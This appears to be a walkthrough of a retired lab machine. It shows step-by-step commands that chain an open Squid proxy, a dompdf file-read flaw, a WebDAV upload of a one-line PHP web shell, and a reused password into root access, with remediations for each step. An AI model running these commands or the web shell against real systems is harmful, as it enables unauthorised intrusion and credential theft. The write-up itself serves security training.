Inception
Summary
I found two internet-exposed services on inception ($TARGET): Apache 2.4.18 on port 80 and a fully open, unauthenticated Squid HTTP proxy on port 3128. The proxy was used as a pivot to reach the SSH daemon, which was bound to localhost only and not otherwise reachable from the internet.
An outdated dompdf 0.6.0 library served by Apache was exploited to read arbitrary files on the server, including the Apache virtual-host configuration, which disclosed the path and credentials for a WebDAV upload directory. Those credentials were used to upload a PHP web shell through WebDAV, giving command execution as the web-server user www-data.
The web shell was then used to read WordPress's database-configuration file, recovering a plaintext database password. That single password was reused verbatim as the SSH login for local user 'cobb' — tunnelled through the open Squid proxy — and again as the password accepted by sudo, granting full root access without any additional exploit.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export INTERNAL_HOST="<second-host-reached-after-pivoting>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 3
nmap -sV -sC -p 80,3128 $TARGETcurl -sS -i http://$TARGET/curl -sS -i -x http://$TARGET:3128 http://127.0.0.1/Exact commands 2
curl -sS -i -x http://$TARGET:3128 http://127.0.0.1/curl -sS -i -x http://$TARGET:3128 http://127.0.0.1/dompdf/VERSIONFixRestrict or disable the unauthenticated Squid HTTP proxyCritical
Exact commands 3
curl -sS "http://$TARGET/dompdf/VERSION"curl -sS "http://$TARGET/dompdf/dompdf.php?input_file=php://filter/read=convert.base64-encode/resource=/etc/passwd" -o /tmp/lfi.pdf && strings /tmp/lfi.pdf | grep -oP '(?<=stream\n)[A-Za-z0-9+/=]+' | base64 -dcurl -sS "http://$TARGET/dompdf/dompdf.php?input_file=php://filter/read=convert.base64-encode/resource=/etc/apache2/sites-enabled/000-default.conf" -o /tmp/vhost.pdf && strings /tmp/vhost.pdf | grep -oP '(?<=stream\n)[A-Za-z0-9+/=]+' | base64 -dFixRemove or update dompdf to eliminate the local file inclusion vulnerabilityCritical
Exact commands 2
curl -sS "http://$TARGET/dompdf/dompdf.php?input_file=php://filter/read=convert.base64-encode/resource=/etc/apache2/sites-enabled/000-default.conf" -o /tmp/vhost.pdf && strings /tmp/vhost.pdf | grep -oP '(?<=stream\n)[A-Za-z0-9+/=]+' | base64 -d | grep -iE 'webdav|htpasswd|AuthUserFile'curl -sS -u 'webdav_tester:$PASSWORD2' -X PROPFIND http://$TARGET/webdav_test_inception/ -H 'Depth: 1'FixKeep credentials out of web-accessible and world-readable configuration filesHigh
Exact commands 3
echo '<?php if(isset($_REQUEST["cmd"])){ system($_REQUEST["cmd"]); } ?>' > /tmp/s.phpcurl -sS -u 'webdav_tester:$PASSWORD2' -T /tmp/s.php "http://$TARGET/webdav_test_inception/s.php"curl -sS --max-time 8 -u 'webdav_tester:$PASSWORD2' "http://$TARGET/webdav_test_inception/s.php?cmd=id;hostname;pwd"FixDisable PHP execution in the WebDAV upload directory and restrict uploadable file typesCritical
Exact commands 3
curl -sS -u 'webdav_tester:$PASSWORD2' --get --data-urlencode 'cmd=find /var/www/html -name wp-config.php 2>/dev/null' "http://$TARGET/webdav_test_inception/s.php"curl -sS -u 'webdav_tester:$PASSWORD2' --get --data-urlencode 'cmd=cat /var/www/html/wordpress/wp-config.php' "http://$TARGET/webdav_test_inception/s.php"curl -sS -u 'webdav_tester:$PASSWORD2' --get --data-urlencode 'cmd=cat /etc/passwd | grep -v nologin | grep -v false' "http://$TARGET/webdav_test_inception/s.php"Exact commands 1
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=10 -o ProxyCommand="proxytunnel -q -p $TARGET:3128 -d 127.0.0.1:22" cobb@127.0.0.1 'id; hostname; cat /home/cobb/user.txt'FixEnforce unique passwords per account and disable sudo password authenticationCritical
Exact commands 2
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=10 -o ProxyCommand="proxytunnel -q -p $TARGET:3128 -d 127.0.0.1:22" cobb@127.0.0.1 "printf '%s\n' '$PASSWORD' | sudo -S sh -c 'id; cat /root/root.txt'"curl -sS -u 'webdav_tester:$PASSWORD2' -X DELETE http://$TARGET/webdav_test_inception/s.phpAttack patterns used
The transferable techniques behind this compromise.
CMS Exploitation (WordPress/Joomla/Drupal)WebT1190
What it is
Content management systems and their plugins/themes are a large attack surface: known-vulnerable versions, exposed admin panels, weak credentials, and insecure plugins lead to authenticated or unauthenticated RCE. wpscan enumerates WordPress versions/plugins/users; Joomla and Drupal have their own well-known RCE chains (e.g. Drupalgeddon).
Why it works
CMS deployments lag on patching and accumulate third-party plugins of varying quality, while admin interfaces are exposed. Remediate by patching core+plugins promptly, removing unused extensions, restricting admin access, and enforcing strong auth.
Read more
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Unrestricted File UploadWebT1505.003
What it is
An upload feature that doesn't properly validate file type/content lets an unauthorised user upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.
Why it works
Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.
Read more
Local File InclusionWebT1190
What it is
A web app builds a file path from user input (?page=../../etc/passwd), letting an unauthorised user read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.
Why it works
The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.
Read more
Exposed services
| 80/tcp | http Apache httpd 2.4.18 ((Ubuntu)) |
| 3128/tcp | http-proxy Squid http proxy 3.5.12 |